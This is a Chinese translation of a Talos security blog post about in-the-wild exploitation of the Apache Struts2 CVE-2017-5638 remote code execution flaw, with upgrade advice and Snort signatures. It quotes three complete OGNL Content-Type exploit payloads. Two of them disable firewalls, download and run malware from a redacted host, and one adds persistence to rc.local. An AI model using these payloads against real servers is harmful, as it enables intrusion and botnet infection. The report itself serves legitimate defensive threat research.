2017 年 3 月 8 日，星期三

内容类型：新型 Apache Struts2 恶意零日攻击

作者：Nick Biasini

更新：据最近公布的信息，除了“内容类型”存在漏洞之外，“内容处置”和“内容长度”也可能被操纵，导致触发此特定漏洞。新的 CVE 尚未发布，但此安全公告中已提供关于该漏洞及其补救措施的详细信息。

Talos 观察了一种被广泛利用的新型 Apache 漏洞。该漏洞 (CVE-2017-5638) 是一种远程代码执行漏洞，对 Apache Struts 中的 Jakarta Multipart 解析器有影响，详见此安全公告。Talos 已开始调查相应漏洞尝试，结果发现了很多漏洞攻击事件。这些漏洞攻击尝试大多数似乎都利用的是用于运行各种命令的、公开发布的 PoC。Talos 观察了一些简单命令（例如 whoami）以及更高级的命令，还摧毁了一个恶意 ELF 可执行文件及其执行。

由于漏洞攻击活动猖獗，因此 Talos 建议尽可能及时更新或遵循上述安全公告中提出的解决方案。

漏洞攻击尝试

在搜索数据的过程中，Talos 发现了大量有针对性的漏洞攻击例子，而且用 2017 年 3 月 7 日发布的签名（41818、41819）防护了检测到的漏洞。

简单的探测攻击

下面是一些简单探测攻击的例子，攻击者执行这些攻击的目的只是为了通过执行简单的 Linux 命令，看看系统是否存在漏洞。

```
POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: %{(#Nomal='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))).(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/
c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
```

在本例中可以看到攻击者只是运行了简单的 “whoami” 命令，这么做的目的可能是为了查看哪个用户在运行该服务，而且最好是根用户。如果发现高级用户，攻击者可能会返回一组更加复杂的命令。Talos 还观察到攻击者运行了其他命令，包括用来收集服务器上的网络配置的简单“ifconfig”命令。

更加复杂的攻击

以下是另一个很活跃的攻击的示例，该攻击略微更加复杂，而且带有恶意负载。

```
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2
stop;reSuSEfirewall2 stop;wget -c http:[redacted]:1234/2020;chmod 777 2020;./2020;').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/
c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```

本例中的攻击更加猛烈一些。其攻击步骤包括停止 Linux 防火墙以及 SUSE Linux 防火墙。最后的几个步骤包括从 Web 服务器下载恶意负载并执行该负载。负载有所变化，但包括一个 IRC Bouncer、一个 DoS 僵尸程序和一个与 bill gates 僵尸网络相关的样本。对基于 Linux 的攻击而言，利用特权帐户下载和执行负载是很常见的情况。

具有持续性的高级攻击

下面是与前面下载恶意负载的例子类似的另一个攻击例子。这个特定例子的不同之处在于其尝试实现持续性。攻击者试图将文件复制到一个良性目录下，然后确保该可执行文件运行，并确保当启动系统时防火墙服务被禁用。

```
GET / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2
stop;reSuSEfirewall2 stop;cd /tmp;wget -c http:[redacted]:2651/syn13576;chmod 777 syn13576;./syn13576;echo "cd
/tmp/">>/etc/rc.local;echo "./syn13576&">>/etc/rc.local;echo "/etc/init.d/iptables stop">>/etc/rc.local;').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/
c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: text/html, application/xhtml+xml, */*
Accept-Encoding: gbk, GB2312
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
```

这些是我们目前正在观察和拦截的众多攻击中的一部分。它们可以划分为两大类：探测攻击和恶意软件分发。在这些攻击中传送的负载存在很大差异，而且由于这些负载的影响，很多站点已被摧毁，并且很多负载已不再可用。

时间表

此特定攻击的时间表尚不甚清楚，但已确定几件事情。首先是 Apache 于 2017 年 3 月 6 日发布的一份安全公告；其次是针对这次攻击的漏洞代码 PoC 的发布时间。

首页 > 技术 > exploit - CVE-2017-5638 - Apache Struts2 S2-045 - Nixawk

exploit - CVE-2017-5638 - Apache Struts2 S2-045 - Nixawk

原文 [redacted] 2017-03-07 17:33:30 184 ℃ 暂无评论

其发布时间是 2017 年 3 月 7 日午后不久的某个时间。在此期间，Talos 发布了保护措施，并且在部署之后我们就立即发现有漏洞攻击发生。此后，一直在继续发生这种漏洞攻击。有可能这种漏洞攻击会继续发展成更大规模，因为这种漏洞攻击相对容易，而且显然很多系统都可能存在漏洞。

信息提示

Apache 已经宣布特定版本的 Apache Struts（2.3.32/2.5.10.1 或更高版本）不会受到此漏洞攻击，因此可以通过升级解决此问题。鉴于针对该软件的漏洞攻击活动猖獗，因此强烈建议立即进行升级。为了检测这个问题，Talos 在 NGIPS/NGFW 中提供额外保护。

防护

Talos 发布了以下规则来解决此漏洞。请注意，Talos 未来可能会发布更多规则，当前规则会根据以后得到的更多漏洞信息而有所变更。Firepower 客户应更新 SRU，使用最新的规则集更新。开源 Snort 用户规则集客户可以在 Snort.org 上下载出售的最新规则包，保持最新状态。

Snort SID：41818、41819

产品	保护
AMP	不适用
CWS	不适用
邮件安全	不适用
网络安全	✔
Threat Grid	不适用
Umbrella	不适用
WSA	不适用

IPS 和 NGFW 的网络安全防护具有最新的签名，用于检测威胁发起者进行的恶意网络活动。

具有高级安全功能的 Meraki MX 设备可以使用 Snort 检测尝试利用此漏洞的攻击。

发布者：NICK BIASINI；发布时间：下午 4:20

标签：零日攻击、APACHE、TALOS、威胁研究、漏洞